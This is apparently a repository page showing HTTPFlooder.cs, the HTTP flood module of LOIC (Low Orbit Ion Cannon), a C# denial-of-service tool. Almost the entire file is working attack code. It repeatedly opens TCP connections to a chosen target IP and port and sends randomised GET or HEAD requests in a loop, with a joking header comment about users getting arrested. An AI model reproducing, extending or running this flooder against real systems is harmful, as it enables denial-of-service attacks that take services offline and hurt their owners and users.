-
Notifications
You must be signed in to change notification settings - Fork 0
/
HTTPFlooder.cs
130 lines (117 loc) · 3.32 KB
/
HTTPFlooder.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
/* LOIC - Low Orbit Ion Cannon
* Released to the public domain
* Enjoy getting v&, kids.
*/
using System;
using System.ComponentModel;
using System.Net;
using System.Net.Sockets;
using System.Windows.Forms;
namespace LOIC
{
public class HTTPFlooder : cHLDos
{
private BackgroundWorker bw;
private Timer tTimepoll;
private bool intShowStats;
private long lastAction;
private readonly string Host;
private readonly string IP;
private readonly int Port;
private readonly string Subsite;
private readonly bool Resp;
private readonly bool Random;
private readonly bool UseGet;
private readonly bool AllowGzip;
public HTTPFlooder(string host, string ip, int port, string subSite, bool resp, int delay, int timeout, bool random, bool useget, bool gzip)
{
this.Host = (host == "") ? ip : host;
this.IP = ip;
this.Port = port;
this.Subsite = subSite;
this.Resp = resp;
this.Delay = delay;
this.Timeout = timeout * 1000;
this.Random = random;
this.UseGet = useget;
this.AllowGzip = gzip;
}
public override void Start()
{
this.IsFlooding = true;
lastAction = Tick();
tTimepoll = new Timer();
tTimepoll.Tick += tTimepoll_Tick;
tTimepoll.Start();
this.bw = new BackgroundWorker();
this.bw.DoWork += bw_DoWork;
this.bw.RunWorkerAsync();
this.bw.WorkerSupportsCancellation = true;
}
public override void Stop()
{
this.IsFlooding = false;
this.bw.CancelAsync();
}
private void tTimepoll_Tick(object sender, EventArgs e)
{
// Protect against race condition
if(intShowStats) return; intShowStats = true;
if(Tick() > lastAction + Timeout)
{
Failed++; State = ReqState.Failed;
tTimepoll.Stop();
if(this.IsFlooding)
tTimepoll.Start();
}
intShowStats = false;
}
private void bw_DoWork(object sender, DoWorkEventArgs e)
{
try
{
IPEndPoint RHost = new IPEndPoint(IPAddress.Parse(IP), Port);
while (this.IsFlooding)
{
State = ReqState.Ready; // SET STATE TO READY //
lastAction = Tick();
byte[] recvBuf = new byte[128];
using (Socket socket = new Socket(RHost.AddressFamily, SocketType.Stream, ProtocolType.Tcp))
{
socket.NoDelay = true;
State = ReqState.Connecting; // SET STATE TO CONNECTING //
try { socket.Connect(RHost); }
catch(SocketException) { goto _continue; }
byte[] buf = Functions.RandomHttpHeader((UseGet ? "GET" : "HEAD"), Subsite, Host, Random, AllowGzip);
socket.Blocking = Resp;
State = ReqState.Requesting; // SET STATE TO REQUESTING //
try
{
socket.Send(buf, SocketFlags.None);
State = ReqState.Downloading; Requested++; // SET STATE TO DOWNLOADING // REQUESTED++
if (Resp)
{
socket.ReceiveTimeout = Timeout;
socket.Receive(recvBuf, recvBuf.Length, SocketFlags.None);
}
}
catch(SocketException) { goto _continue; }
}
State = ReqState.Completed; Downloaded++; // SET STATE TO COMPLETED // DOWNLOADED++
tTimepoll.Stop();
tTimepoll.Start();
_continue:
if(Delay >= 0)
System.Threading.Thread.Sleep(Delay+1);
}
}
// Analysis disable once EmptyGeneralCatchClause
catch { }
finally { tTimepoll.Stop(); State = ReqState.Ready; this.IsFlooding = false; }
}
private static long Tick()
{
return DateTime.UtcNow.Ticks / 10000;
}
}
}